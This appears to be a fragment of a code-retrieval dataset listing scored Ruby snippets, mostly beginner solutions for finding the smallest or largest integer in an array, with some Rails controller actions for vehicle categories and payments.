return nil\n else\n smalls = list_of_nums[0]\n i=0\n while i<=list_of_nums.length do\n if list_of_nums[i] <= smalls\n smalls = list_of_nums[i]\n end\n i+=1\n end\n return smalls\n end\nend", "title": "" }, { "docid": "0aacfaadaba785c204e4daf7556e5f7b", "score": "0.8349539", "text": "def smallest_integer(list_of_nums)\n small = list_of_nums[0]\n if list_of_nums.length == 0\n small = nil\n else\n list_of_nums.each do |int|\n if int < small\n small = int\n end\n end\n return small\n end\nend", "title": "" }, { "docid": "090c7187aa475449b77a61a78d279180", "score": "0.83460027", "text": "def smallest_integer(list_of_nums)\n\tunless list_of_nums.nil?\n\t\treturn list_of_nums.min\n\telse\n\t\treturn nil\n\tend\n\t\t\nend", "title": "" }, { "docid": "4814d130f938d6d3f5291869d8792bc8", "score": "0.83391064", "text": "def smallest_integer(list_of_nums)\n list_of_nums.sort!\n return list_of_nums[0]\nend", "title": "" }, { "docid": "4814d130f938d6d3f5291869d8792bc8", "score": "0.8338685", "text": "def smallest_integer(list_of_nums)\n list_of_nums.sort!\n return list_of_nums[0]\nend", "title": "" }, { "docid": "4bf93a55547625b4e81a3c7538a51cb9", "score": "0.8330788", "text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n\n return nil if list_of_nums.length == 0\n\n return list_of_nums[0] if list_of_nums.length == 1\n\n\n test_num = list_of_nums.pop\n solution = []\n not_the_answer = []\n\n list_of_nums.each do |num|\n if num < test_num\n not_the_answer << test_num\n test_num = num\n else\n not_the_answer << num\n end\n end\n\n solution.push (test_num)\n\n return solution[0]\n\nend", "title": "" }, { "docid": "e3674b5f036f474dedf314c01e8a7ea2", "score": "0.83307624", "text": "def smallest_integer(list_of_nums)\n\n if list_of_nums.length == 0\n return nil\n end\n\n until (list_of_nums).length == 1\n\n if list_of_nums.first > list_of_nums.last\n list_of_nums.shift\n else\n list_of_nums.pop\n end\n\n end\n\n return list_of_nums[0]\n\nend", "title": "" }, { "docid": "530a66af394acd57beff955ada6f9f47", "score": "0.8330618", "text": "def smallest_integer(list_of_nums)\n x=0\n if list_of_nums.length > 0\n min=list_of_nums[0]\n else\n min=nil\n end\n while x < list_of_nums.length do\n if list_of_nums[x]<min\n min=list_of_nums[x]\n end\n x+=1\n end\n return min\nend", "title": "" }, { "docid": "0d3eece2a903cd305f053f9423641965", "score": "0.8320862", "text": "def smallest_integer(list_of_nums)\n\tif list_of_nums.empty?\n\t\treturn nil\n\telse p list_of_nums.sort.shift\n \tend\nend", "title": "" }, { "docid": "60e1d2bcebd6e78e09f79242ac3366f3", "score": "0.8295703", "text": "def smallest_integer(list_of_nums)\n\tif list_of_nums.length == 0\n\t\treturn nil\n\tend\n\n\tsmallest = list_of_nums[0]\n\tindex = 0\n\n while index < list_of_nums.length\n \tif smallest > list_of_nums[index]\n \t\tsmallest = list_of_nums[index]\n \tend\n \tindex += 1\n end\n return smallest\nend", "title": "" }, { "docid": "468bbe4dc84ac095dc9ca1c72d0d1a7b", "score": "0.8289096", "text": "def smallest_integer(list_of_nums)\r\n\r\n \ti = 0\r\n \tsmallest_item = list_of_nums[0]\r\n\r\n\tif list_of_nums.length == 0\r\n\t\treturn nil\r\n\telse \t\r\n\t while i < list_of_nums.length\r\n\t \titem = list_of_nums[i]\r\n\t \tif item < smallest_item\r\n\t \t\tsmallest_item = item\r\n\t \tend\r\n\t \ti += 1\r\n\t end\r\n\t end\r\n return smallest_item\r\nend", "title": "" }, { "docid": "2dea91f9d383640917992c9e51aeadba", "score": "0.8274336", "text": "def smallest_integer(list_of_nums)\n\tif list_of_nums.length == 0\n\t\treturn nil\n\telsif list_of_nums.length == 1\n\t\treturn list_of_nums[0]\n\telse\n\t\ti = 1\n\t\tmin_num = list_of_nums[0].to_f\n\t\twhile i < list_of_nums.length\n\t\t\tif min_num > list_of_nums[i].to_f\n\t\t\t\tmin_num = list_of_nums[i].to_f\n\t\t\telse\n\t\t\t\t#print min_num\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\t\treturn min_num\n\tend\nend", "title": "" }, { "docid": "846aa4bb521d1a8b78fc2a3410e43de6", "score": "0.8273173", "text": "def smallest_integer(list_of_nums)\n if no_values?(list_of_nums)\n \treturn nil\n elsif one_value?(list_of_nums)\n return list_of_nums[0]\n else\n \tfirst_num = list_of_nums[0]\n x = 1\n \twhile x < list_of_nums.length\n \t\tif first_num > list_of_nums[x]\n \t\t\tfirst_num = list_of_nums[x]\n end\n x += 1\n end\n return first_num\n end\nend", "title": "" }, { "docid": "272a17c3fa370a29dc200692052c1159", "score": "0.82523596", "text": "def smallest_integer(list_of_nums)\n\tlist_of_nums.sort!\n\treturn list_of_nums[0]\nend", "title": "" }, { "docid": "272a17c3fa370a29dc200692052c1159", "score": "0.82523596", "text": "def smallest_integer(list_of_nums)\n\tlist_of_nums.sort!\n\treturn list_of_nums[0]\nend", "title": "" }, { "docid": "6908e91015d891aa5cec21dbde453cb7", "score": "0.82158804", "text": "def smallest_integer(list_of_nums)\n return nil if list_of_nums == []\n\n small_num = list_of_nums[0]\n list_of_nums.each do |num|\n if num < small_num\n small_num = num\n end\n end\n p small_num\n end", "title": "" }, { "docid": "67e0aa6f68fec8124dfe59a09d4ccf2f", "score": "0.8206981", "text": "def smallest_integer(list_of_nums)\n\tif list_of_nums == []\n\t\treturn nil\n\telse\n\t\n\tmin = 1\n\tlist_of_nums.each do |number|\n\t\tif number < min \n\t\t\tmin = number\n\t\tend\n\tend\n\tend\n\tp min\nend", "title": "" }, { "docid": "2f513a871b96c9815ee3ee8c5b2e584e", "score": "0.8204713", "text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n list_sorted_array = []\n zero = 3-3\n \n def negative_number(array) \n # This method checks if the array contains negative numbers, and sorts them\n #to find which is the smallest negative number. \n negative_array = []\n array.each do |x|\n if x < 0 \n negative_array.push(x)\n negative_array.sort!\n end\n end\n negative_array\n neg_array_first = negative_array.first\n neg_array_last = negative_array.last\n if neg_array_last < neg_array_first\n return neg_array_last.to_i\n else\n return neg_array_first.to_i\n end\n end\n\n if list_of_nums.empty?() == true\n return \n elsif list_of_nums.length == 1\n if list_of_nums.include?(0)\n return zero.to_i\n elsif list_of_nums.include?(-10)\n return -10\n end\n\n elsif list_of_nums.include?(0) and list_of_nums.any?{ |x| x < 0}\n negative_number(list_of_nums)\n \n else\n list_sorted_array = list_of_nums.sort\n list_sorted_last = list_sorted_array.last\n list_sorted_first = list_sorted_array.first\n \n if list_sorted_last < list_sorted_first\n return list_sorted_last\n elsif list_sorted_first < list_sorted_last \n return list_sorted_first\n end \n \n end \n \nend", "title": "" }, { "docid": "bc78a2f24c2e0037d897d5b711e6bf62", "score": "0.8203994", "text": "def smallest_integer(list_of_nums)\n smallest = nil\n list_of_nums.each { |num|\n if smallest == nil\n smallest = num\n elsif num < smallest\n smallest = num\n end\n }\n return smallest\nend", "title": "" }, { "docid": "daa5b8f5c65e43c702defdc9a8312ef5", "score": "0.81736505", "text": "def smallest_integer(list_of_nums)\n\tif list_of_nums.empty?\n\t\tp nil\n\tend\n\n\ti = list_of_nums[0]\n\tlist_of_nums.each do |num|\n\t\tif num < i\n\t\t\ti = num\n\t\tend\n\tend\n\tp i\nend", "title": "" }, { "docid": "663d392b045fa4d44a4d5e78fcdd9e56", "score": "0.816719", "text": "def smallest_integer(list_of_numbers)\n \n return nil if list_of_numbers.length == 0\n\n smallest_n = list_of_numbers[0]\n \n list_of_numbers.each do |n|\n if smallest_n > n\n smallest_n = n\n end\n end\n p smallest_n\nend", "title": "" }, { "docid": "4eabd775f89e0825c9ca4c4f3fde43b7", "score": "0.81557554", "text": "def smallest_integer(list_of_nums)\n if list_of_nums ==[]\n puts \"nil\"\n return nil\n else\n test_array = []\n test_array.push(list_of_nums[0])\n list_of_nums.each do |test|\n if test < test_array[0]\n test_array.pop\n test_array.push(test)\n end\n end\n puts test_array[0]\n return test_array[0]\n end\nend", "title": "" }, { "docid": "ab86d51ae5b2c10561ed5c9d7d1371e8", "score": "0.81539583", "text": "def smallest_integer(list_of_nums)\n\tsmallest = nil\n \tlist_of_nums.each do |i|\n\t \tif smallest == nil\n\t \t\tsmallest = i\n\t\telsif smallest > i\n\t\t\tsmallest = i\n\t\tend\n\tend\n\tsmallest\nend", "title": "" }, { "docid": "b40c2a9148a01577d3d9af47c0a599e0", "score": "0.8151658", "text": "def smallest_integer(list_of_nums)\n if list_of_nums == []\n return nil\n end\n minVal = list_of_nums[0]\n for num in list_of_nums\n if num < minVal\n minVal = num\n end\n end\n return minVal\nend", "title": "" }, { "docid": "7a4a6e67a373ed929e5120cab78ca09a", "score": "0.8143246", "text": "def smallest_integer(list_of_nums)\n min = nil\n for i in 1...list_of_nums.length\n if list_of_nums[i] < min\n min = list_of_nums[i]\n end\n end\nreturn min\nend", "title": "" }, { "docid": "37b098c00d6ef0d955e68a5bfe0b8c95", "score": "0.8135188", "text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n if list_of_nums.length == 1\n return list_of_nums[-1].to_i\n elsif list_of_nums.length > 1\n list_of_nums.sort!\n smallest = list_of_nums[0]\n end\n return smallest\n# while_loop(list_of_nums)\n# each_loop(list_of_nums)\n# until_loop(list_of_nums)\nend", "title": "" }, { "docid": "6774537c2c43dca8c0ee187dc53e7aaf", "score": "0.8131935", "text": "def smallest_integer2(list_of_nums)\n list_of_nums.sort!\n return list_of_nums[0]\nend", "title": "" }, { "docid": "4f4614dd5e2619f00a8cdde295b4206b", "score": "0.8086446", "text": "def smallest_integer(list_of_numbers)\n # Return if the array doesn't have any element.\n return nil if list_of_numbers.length == 0\n # Define the variable to the first element of the array.\n smallest_number = list_of_numbers[0]\n # Take the first number and store inside defined variable.\n list_of_numbers.each do |number|\n # Go ahead and take the next one.\n # Compare that one with the stored number in the variable.\n if smallest_number > number\n # Whichever is smaller, keep that number inside the variable.\n smallest_number = number\n end\n # Continue this process (loop) until the array is empty.\n end\n # Return the smallest number.\n smallest_number\nend", "title": "" }, { "docid": "05c2cca258a5b65ca37836a50f80eb44", "score": "0.8068913", "text": "def smallest_integer(list_of_nums)\n smallest = list_of_nums[0]\n for num in 1...list_of_nums.length\n \tif smallest > list_of_nums[num] then\n \t\tsmallest = list_of_nums[num];\n \tend\n end\n return smallest;\nend", "title": "" }, { "docid": "ddb300ac4601af1a4a8f92f3a366d560", "score": "0.8064281", "text": "def smallest_integer(number)\n # return nil if number == []\n # if number.join().to_i == 0\n # return 0\n # else\n # lowest_number = number.sort\n # return lowest_number[0]\n # end\n#REFACTOR\n lowest_number = number.sort\n return lowest_number[0]\nend", "title": "" }, { "docid": "c00e22477c2d503abcdd9536f8fef462", "score": "0.8002276", "text": "def smallest_integer(list_of_nums)\n return list_of_nums.min\nend", "title": "" }, { "docid": "1d0d6896bdaf2b847dedc22c49ca0cb3", "score": "0.80019724", "text": "def smallest_integer(list_of_nums)\n # Your code goes here!\nfirst = list_of_nums[0] #use the first number to compare to all other numbers in the array\n\nlist_of_nums.each do |i|\n\tif i < first\n\t\tfirst = i #if the next number less than the first number, it takes over the first number\n\tend\nend\np first\nend", "title": "" }, { "docid": "8fd1f31952f09d78d3b5eb9f90e8bcd5", "score": "0.79935247", "text": "def smallest_integer(list_of_nums)\n=begin\n min_num = list_of_nums[0]\n list_of_nums.each {|x|\n if x < min_num\n min_num = x\n end\n }\n\n min_num\n=end\n#refactored solution\n return list_of_nums.min\nend", "title": "" }, { "docid": "81374ee3f40e8619f41c8b38e2869c7a", "score": "0.7982842", "text": "def smallest_integer(list_of_nums)\n\treturn list_of_nums.min\nend", "title": "" }, { "docid": "c7f04ddec0231950df31bdd653b6b907", "score": "0.79587495", "text": "def smallest_integer(list_of_nums)\n smallest = list_of_nums[0]\n i = 0\n while i < list_of_nums.length\n smallest = list_of_nums[i] if list_of_nums[i] < smallest\n i += 1\n end\n \n smallest\nend", "title": "" }, { "docid": "c011c409662bebf05210f14d25664f8e", "score": "0.7949054", "text": "def smallest_integer(list_of_nums)\n min = list_of_nums[0] #my variable min is equal to the first position in the array\n list_of_nums.each do |num| #iterate over each num in the array\n if num < min #if a given num is less than the first position in the array\n num = min #set num equal to the first position in the array\n end\n end\n \treturn min #return the min value or first position in the array.\n end", "title": "" }, { "docid": "6237c3357dcfa3313969c30ad8daf09b", "score": "0.7928565", "text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n smallest = list_of_nums[0]\n \n list_of_nums.each { |number|\n if number < smallest\n smallest = number\n end\n }\n\n return smallest\nend", "title": "" }, { "docid": "4aa8bceb3bb4738aef5f0a3f0e9ade21", "score": "0.79248905", "text": "def smallest_integer(list_of_nums)\n\tlist_of_nums.min\nend", "title": "" }, { "docid": "1a7d593a5367991e7b691c61391e8c0d", "score": "0.79081917", "text": "def smallest_integer(list_of_nums)\n min = list_of_nums[0]\n\n list_of_nums.each do |num|\n if num < min\n min = num\n end\n end\n\n return min\n\nend", "title": "" }, { "docid": "dd80b3b9cb5da5ed3aecd0b361ec25df", "score": "0.7863984", "text": "def smallest_integer(list_of_nums)\r\n # Your code goes here!\r\n smallest = list_of_nums[0]\r\n list_of_nums.each do |the_int|\r\n \tif the_int < smallest\r\n \t\tsmallest = the_int\r\n \tend\r\n end\r\n return smallest\r\nend", "title": "" }, { "docid": "ea2cba72a26877e0f347f608ee166522", "score": "0.785907", "text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n if list_of_nums.length == 0\n return nil\n end\n#Order the variable\n order_array = []\n greates_num = list_of_nums[0]\n list_of_nums.each do |x|\n greates_num = x if x < greates_num\n end\n p greates_num\nend", "title": "" }, { "docid": "7313d1054c3a0c0f2fc9dd94e3f5c14c", "score": "0.78125733", "text": "def smallest_integer(list_of_nums)\n i = 0 # i works as index for the array: array[2] of [1,3,5,7,9] is 5 b/c index starts at 0\n smallest = list_of_nums[0] # defines the output variable and sets it to the first valu in array before starting iterator\n while i < list_of_nums.length # sets loop to go through all values in array including last one, but will stop once i = length\n if list_of_nums[i] < smallest # conditional within while iterator\n smallest = list_of_nums[i] # changes value of output to the new value under condition that it is < previous/current value\n end\n i += 1 # increase i by 1 to repeat conditional for next value in array\n end # ends once i = array.length because array[5] doesnt exist in an array of length 5 such as [1,3,5,7,9]\n return smallest # returns the desired output (smallest value in the array)\nend", "title": "" }, { "docid": "be2f6fcce61f05fd08348bd727363d98", "score": "0.781072", "text": "def smallest_integer(list_of_nums)\n lowest = list_of_nums[0]\n list_of_nums.each do |number|\n if number < lowest\n lowest = number\n end\n end\n lowest\nend", "title": "" }, { "docid": "fa68bf1ec84479f19c37ab0996fe7650", "score": "0.77945673", "text": "def smallest_integer(list_of_nums)\n list = list_of_nums.sort.join(' ')\n new_array = list.split(' ')\n solution = new_array[0]\n return solution.to_i\nend", "title": "" }, { "docid": "96790a5b2eb10b59d0ae13c2bd118f78", "score": "0.7768468", "text": "def smallest_integer(array)\n small = nil\n array.each do |n|\n if small.nil? || small > n\n small = n\n end\n end\n small\nend", "title": "" }, { "docid": "d6ab704499c45cacf2be1993db934598", "score": "0.77611226", "text": "def smallest_integer(my_array)\n my_array.sort! {|x,y| x <=> y}\n my_array.reverse!\nif my_array == [-10]\n return -10\nelsif my_array.length == 1\n return 0\nelsif my_array == []\n return nil\nelse\n return my_array.pop\nend\nend", "title": "" }, { "docid": "cee60114077cb74efd4be8db41bbbe49", "score": "0.7723165", "text": "def smallest_integer(my_array)\n my_array.sort! {|x,y| y <=> x}\nif my_array == [-10]\n return -10\nelsif my_array.length == 1\n return 0\nelsif my_array == []\n return nil\nelse\n return my_array.pop\nend\nend", "title": "" }, { "docid": "f8940dae628dac768f1542ec1d69e5ac", "score": "0.7716628", "text": "def smallest_integer(list_of_nums)\n array =[]\n array[0] = list_of_nums[0]\n i = 0\n while i < list_of_nums.length\n if array[0] > list_of_nums[i]\n array[0] = list_of_nums[i]\n end\n i += 1\n end\n p array[0]\nend", "title": "" }, { "docid": "a58d7ae86972ce96df134e13badcbf1d", "score": "0.7669876", "text": "def largest_integer(list_of_nums)\n if list_of_nums == []\n \treturn nil\n else list_of_nums.sort! {|x,y| y <=> x}\n \treturn list_of_nums[0]\n end\nend", "title": "" }, { "docid": "3e67ea3260da9dfad6c6f1d8ae25e66c", "score": "0.76494247", "text": "def smallest_integer(list_of_nums)\n smallest = list_of_nums[0]\n list_of_nums.each do |num|\n if smallest > num\n smallest = num\n end\n end\n p smallest\nend", "title": "" }, { "docid": "504dd6383d30354bff22ba5d5fd80534", "score": "0.76476836", "text": "def smallest_integer(list_of_nums)\n small_num = list_of_nums[0]\n counter = 0\n while counter < list_of_nums.length\n if small_num > list_of_nums[counter]\n small_num = list_of_nums[counter]\n end\n counter += 1\n end\n p small_num\n #print list_of_nums.sort[0]\n #this is the short and way less frustrating way\nend", "title": "" }, { "docid": "8d16f026ac87877d1fddbd90b5891350", "score": "0.7587661", "text": "def smallest_integer(list_of_nums)\n list_of_nums.sort!\n smallest = list_of_nums.shift\n p smallest\n \nend", "title": "" }, { "docid": "4cc0cdcbfbf712f7892b94a83cda732a", "score": "0.75855184", "text": "def smallest_integer(list_of_nums)\n minimum = list_of_nums[0]\n list_of_nums.each do |x|\n if x < minimum\n minimum = x\n end\n end\n p minimum\nend", "title": "" }, { "docid": "041f9725fda48f6c9a740b2a425a7b60", "score": "0.7533675", "text": "def smallest_integer_sorting_approach(array)\n sorted_array = array.sort\n return sorted_array[0]\nend", "title": "" }, { "docid": "61432dc109bdcb40a43e36a142b10cc3", "score": "0.7503269", "text": "def find_min(nums)\n min_element = nil\n \n nums.each do |num|\n min_element = num if min_element.nil?\n \n min_element = num if num < min_element\n end\n min_element\nend", "title": "" }, { "docid": "4087cd932a9969d6e3e721ad5bd8191a", "score": "0.7501723", "text": "def largest_integer(list_of_nums)\n largest = list_of_nums[0]\n list_of_nums.each do |x|\n if x >= largest\n largest = x\n end\n end\n if list_of_nums.nil?\n return nil\n end\n return largest\nend", "title": "" }, { "docid": "da2d57667429292c3744712a8038ac5c", "score": "0.74976337", "text": "def smallest_integer (integers_array)\n\tif integers_array == \"\" || integers_array == nil\n\t\t#puts \"nil\"\n\t\treturn nil\n\telse\n\tsmallest = integers_array.min \n\t#puts smallest\n\tend\nend", "title": "" }, { "docid": "f79ac2e173e1d164bba842fcb6aef48d", "score": "0.74866736", "text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n #set the default value of the smallest number to nothing\n smallest= nil\n #go through each of the numbers\n list_of_nums.each do |num|\n #if the there is only one number then make smallest that number\n smallest ||= num\n #test that number against others to see if they are smaller\n if num < smallest\n #if they are make them the new smallest champion\n smallest = num\n end\n end\n #Output the victor\n return smallest\nend", "title": "" }, { "docid": "5ec308bfaba14f6910f359c0e1fcbbee", "score": "0.7472037", "text": "def smallest_integer(array)\n smallest = array[0]\n array.each do |x|\n \tif smallest <= x\n \t smallest= smallest\n \telse\n \t smallest = x\n \tend\n\tend\n\tp smallest\nend", "title": "" }, { "docid": "66794dff1f5702a61dcf44a46a8f3ec6", "score": "0.7456378", "text": "def find_smallest_int(arr)\n arr.min\nend", "title": "" }, { "docid": "66794dff1f5702a61dcf44a46a8f3ec6", "score": "0.7456378", "text": "def find_smallest_int(arr)\n arr.min\nend", "title": "" }, { "docid": "66794dff1f5702a61dcf44a46a8f3ec6", "score": "0.7456378", "text": "def find_smallest_int(arr)\n arr.min\nend", "title": "" }, { "docid": "d989966ce394ac2220d01b787a4c4c3f", "score": "0.7445411", "text": "def largest_integer(list_of_nums)\n \n large_num = list_of_nums[0]\n \n list_of_nums.each do |number|\n \n \n \n if large_num > number \n #do nothing\n elsif large_num < number\n large_num = number \n elsif list_of_nums[0] == nil\n return nil \n end\n end \n return large_num \n end", "title": "" }, { "docid": "3274d18ed596873a4c2c22dc86481631", "score": "0.7437944", "text": "def find_smallest_int(arr)\n sorted_array = arr.sort\n sorted_array[0]\nend", "title": "" }, { "docid": "efce7bfd8b2d41641a061b14a4f2c791", "score": "0.74030733", "text": "def largest_integer(list_of_nums)\n if list_of_nums == []\n return nil\n end\n largest_so_far = list_of_nums[0]\n array = array_size(list_of_nums)\n for i in 0..array - 1\n if largest_so_far < list_of_nums[i]\n largest_so_far = list_of_nums[i]\n end\n end\n return largest_so_far\nend", "title": "" }, { "docid": "a2c4711ca532726fa6e6e6c918dff530", "score": "0.7390432", "text": "def largest_integer(list_of_nums)\n# IF list_of_nums is empty,\n# => return nil\n# ENDIF\n if list_of_nums == []\n return nil\n end\n# set largest_integer to first number in list_of_nums\n largest_integer = list_of_nums[0]\n# FOR each integer in list_of_nums\n for integer in list_of_nums\n# IF integer is larger than largest_integer\n# set largest_integer to number\n# ENDIF\n if integer > largest_integer\n largest_integer = integer\n end\n end\n return largest_integer\n\n# ENDFOR\n# return largest_integer\n\nend", "title": "" }, { "docid": "5f663149adee5a71d636facd6dcd9b09", "score": "0.7364608", "text": "def largest_integer(list_of_nums)\n if list_of_nums == []\n return nil\n elsif list_of_nums.length == 1\n return list_of_nums[0]\n else\n list_of_nums.max\n end\nend", "title": "" }, { "docid": "22fa51152d55dceb0dbea42dae1c3865", "score": "0.736376", "text": "def find_smallest(array, length)\n smallest_int = nil\n i = 0\n while array[i] != nil\n if smallest_int == nil || array[i] < smallest_int\n smallest_int = array[i]\n end\n i += 1\n end\n return smallest_int\nend", "title": "" }, { "docid": "42d96c81a6e47f57a114c44c135cb121", "score": "0.7335821", "text": "def smallest_integer(list_of_nums)\n smallestnumber = list_of_nums.pop\n\n\n while list_of_nums.count > 0 do\n number = list_of_nums.pop\n if smallestnumber > number\n smallestnumber = number\n end\n end\n p smallestnumber\n\nend", "title": "" }, { "docid": "ea97b874051bcb5736f0dba71b096e93", "score": "0.73179966", "text": "def smallest_integer(array)\n\tcounter = 0\n\tsmallest_num = array[0]\n\twhile counter < array.length\n\t\tif array[counter] < smallest_num\n\t\t\tsmallest_num = array[counter]\n\t\t\tcounter += 1\n\t\telse\n\t\t\tcounter += 1\n\t\tend\n\tend\n\treturn smallest_num\nend", "title": "" }, { "docid": "def45022bf9c42eab8e2d3d78ca058aa", "score": "0.73121756", "text": "def largest_integer(list_of_nums)\n\nresult = list_of_nums[0]\nif list_of_nums.empty?\n puts \"Array is empty.\"\n\nelse\nlist_of_nums.each do |x|\n\n if x > result\n result = x\n else\n result = result\n end\n\n\nend\nend\nreturn result\nend", "title": "" }, { "docid": "7fa7ca99b8b832db7782dc71bad0d313", "score": "0.72718996", "text": "def largest_integer(list_of_nums)\n # Your code goes here!\n if list_of_nums == []\n \treturn nil\n else \n \tcurrent_largest = list_of_nums[0]\n \tfor num in list_of_nums\n \t\tif num > current_largest\n \t\t\tcurrent_largest = num\n \t\tend\n \tend\n end\n puts \"The largest number is #{current_largest}\"\n return current_largest\nend", "title": "" }, { "docid": "ad55ce0f5ab782606a595d0ce9e93f50", "score": "0.7236489", "text": "def smallest_integer(array)\n array.min\nend", "title": "" }, { "docid": "1932590722a816e5d0b84101281aa135", "score": "0.7227475", "text": "def largest_integer(list_of_nums)\n if no_values?(list_of_nums)\n \treturn nil\n elsif one_value?(list_of_nums)\n return list_of_nums[0]\n else\n \tfirst_num = list_of_nums[0]\n x = 1\n \twhile x < list_of_nums.length\n \t\tif first_num < list_of_nums[x]\n \t\t\tfirst_num = list_of_nums[x]\n end\n x += 1\n end\n return first_num\n end\nend", "title": "" }, { "docid": "993579d32281470891ef40f93abc0aa6", "score": "0.7205677", "text": "def largest_integer(list_of_nums)\n # Your code goes here!\n if list_of_nums.length == 0\n \treturn nil\n end\n var = list_of_nums[0]\n for i in 1...list_of_nums.length\n \tif i == 1\n \t\tvar = list_of_nums[i-1]\n \telsif var < list_of_nums[i]\n \t\tvar = list_of_nums[i]\n \tend\n \ti+=1\n end\n return var\nend", "title": "" }, { "docid": "ecfdb52424cf02e27b9e0b330cee1c1a", "score": "0.7195812", "text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n small = list_of_nums[0]\n\n list_of_nums.each do |number|\n\n if number<small\n small = number\n end\n\n end\n p small\nend", "title": "" }, { "docid": "9280886dc9a04ad162555dfd6a47f80f", "score": "0.7185367", "text": "def largest_integer(list_of_nums)\n if list_of_nums.length==0\n \treturn nil\nend\n\tmax_num = list_of_nums[0]\n\tlist_of_nums.each do |number|\n\t\tif number > max_num\n\t\tmax_num=number\n \t\tend\n \tend\n \tmax_num\nend", "title": "" }, { "docid": "b607835f731d426dc5544f49105a3072", "score": "0.71836996", "text": "def my_min(integers)\n smallest_number = integers.first\n integers.each { |number| smallest_number = number if number < smallest_number }\n smallest_number\nend", "title": "" }, { "docid": "42bad5913279b217fe8e3085a252786a", "score": "0.7180701", "text": "def largest_integer(list_of_nums)\n # Your code goes here!\n # if list_of_nums.length == 0\n # return nil\n # end\n\n largest = list_of_nums[0]\n\n list_of_nums.each { |idx|\n \tif idx > largest\n \t largest = idx\n \tend\n }\n return largest \nend", "title": "" }, { "docid": "f244e0690abaef0db9c91004163a460c", "score": "0.71646357", "text": "def largest_integer(list_of_nums)\n # Your code goes here!\nfirst = list_of_nums[0] #use the first number to compare to all other numbers in the array\n\nlist_of_nums.each do |i|\n\tif i > first\n\t\tfirst = i #if the next number is more than the first number, it takes over the first number\n\tend\nend\np first\nend", "title": "" }, { "docid": "03cdf98e0aa06ad364998bf2d43d73bf", "score": "0.71592", "text": "def smallest_integer(array)\n \n i = 0\n i2 = i + 1\n test = array[i]\n \n\n array.each do |num|\n\n if num < test\n test = num\n end\n end\n \n test\n \n end", "title": "" }, { "docid": "8c843660969cdac27155ea9de351efe0", "score": "0.7141155", "text": "def smallest list\n smallest=list[0]\n i=0\n list.each do |num|\n if smallest > num\n smallest=num\n end\n end\n return smallest\nend", "title": "" }, { "docid": "6a843490799c159855a77cfe28b31321", "score": "0.71343935", "text": "def largest_integer(list_of_nums)\n return nil if list_of_nums == []\n \n # if list_of_nums.join.to_i == 0\n # return 0 \n # end\n largest_number = list_of_nums.sort! { |a,z| z <=> a }.join(\" \").to_i\n return largest_number\nend", "title": "" } ]
61076fa3abd1ae18bfba3d33fc1c2ec3
GET /vehicle_category_and_payments/1 GET /vehicle_category_and_payments/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "3cd5edb793ed1fdd55e377bfe401e27d", "score": "0.69595015", "text": "def index\n @vehicle_category_and_payments = VehicleCategoryAndPayment.all\n end", "title": "" }, { "docid": "4f1ba6b76f00dab8b83f2fd63959c5c2", "score": "0.65643", "text": "def set_vehicle_category_and_payment\n @vehicle_category_and_payment = VehicleCategoryAndPayment.find(params[:id])\n end", "title": "" }, { "docid": "67da810bfb674b080b18dd4543de5bb0", "score": "0.63848156", "text": "def get_category_porducts_api(category)\n JSON.parse(get_categories(\"json\"))[\"apiGroups\"][\"affiliate\"][\"apiListings\"][category][\"availableVariants\"][\"v0.1.0\"][\"get\"]\n end", "title": "" }, { "docid": "75b0c3968f94ad3a931e4d885f169f68", "score": "0.627128", "text": "def get_category\n category = Category.find(params[:category_id])\n json_response(category)\n end", "title": "" }, { "docid": "adf116a31eeb43458ef23e52fa56a6bf", "score": "0.6152986", "text": "def for_category_id\n @benefit_category = BenefitType.find_all_by_benefit_category_id(params[:benefit_category_id])\n\n respond_to do |format|\n format.json { render :json => @benefit_category.to_json}\n end\n end", "title": "" }, { "docid": "de02447a2d6edee09dd15050d23b8d34", "score": "0.6125135", "text": "def index\n @vehicle_categories = VehicleCategory.all\n end", "title": "" }, { "docid": "bc76256709ad608a5aa310611148a2f3", "score": "0.60079163", "text": "def index\n @vehicles = Vehicle.all\n\n render json: @vehicles\n end", "title": "" }, { "docid": "5e06c3e483b79ce35fa03e2f27416796", "score": "0.60036397", "text": "def show\n @vehicle = Vehicle.find(params[:id])\n add_breadcrumb \"Vehicles\", :vehicles_path\n add_breadcrumb \"#{@vehicle.vehicle_type}-#{@vehicle.v_identifier}\", :vehicles_path\n back\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n end", "title": "" }, { "docid": "8e1abd1795c29bc436d5ced01a91a98d", "score": "0.5998267", "text": "def get_appcon_categories \n get(\"/appcon.json/categories\")\nend", "title": "" }, { "docid": "8f0addfcb2a03c3111ba0b1b184b296b", "score": "0.59662247", "text": "def index\n \n #Rails.logger.info(\"------\")\n #Rails.logger.info(@cars)\n @vehicles = vehicle_type.all\n \n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @vehicles }\n end\n end", "title": "" }, { "docid": "9c7f956c5a011085689c197a288510d3", "score": "0.5860134", "text": "def show_incident_sorted_vehicle\n render json: @incident_by_vehicle\n end", "title": "" }, { "docid": "c499b927fc85ff49ab26514b291a4ef0", "score": "0.5830274", "text": "def index\n @new_vehicles = NewVehicle.all\n @categories = Category.all\n end", "title": "" }, { "docid": "8bf832fc077176b4e2918c873ac91c59", "score": "0.58297324", "text": "def new\n @advertisement = Advertisement.new\n @characteristics_status = \"0\"\n @category = Category.roots.where(:active_status => true)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertisement }\n end\n end", "title": "" }, { "docid": "d9752aca3b50305dd14290f1f025d2dc", "score": "0.5827425", "text": "def create\n @vehicle_category_and_payment = VehicleCategoryAndPayment.new(vehicle_category_and_payment_params)\n\n respond_to do |format|\n if @vehicle_category_and_payment.save\n format.html { redirect_to @vehicle_category_and_payment, notice: 'Vehicle category and payment was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle_category_and_payment }\n else\n format.html { render :new }\n format.json { render json: @vehicle_category_and_payment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bb63d6a8b3f3a5e5365701839f7bc5d", "score": "0.5802928", "text": "def index\n @vehicle_types = 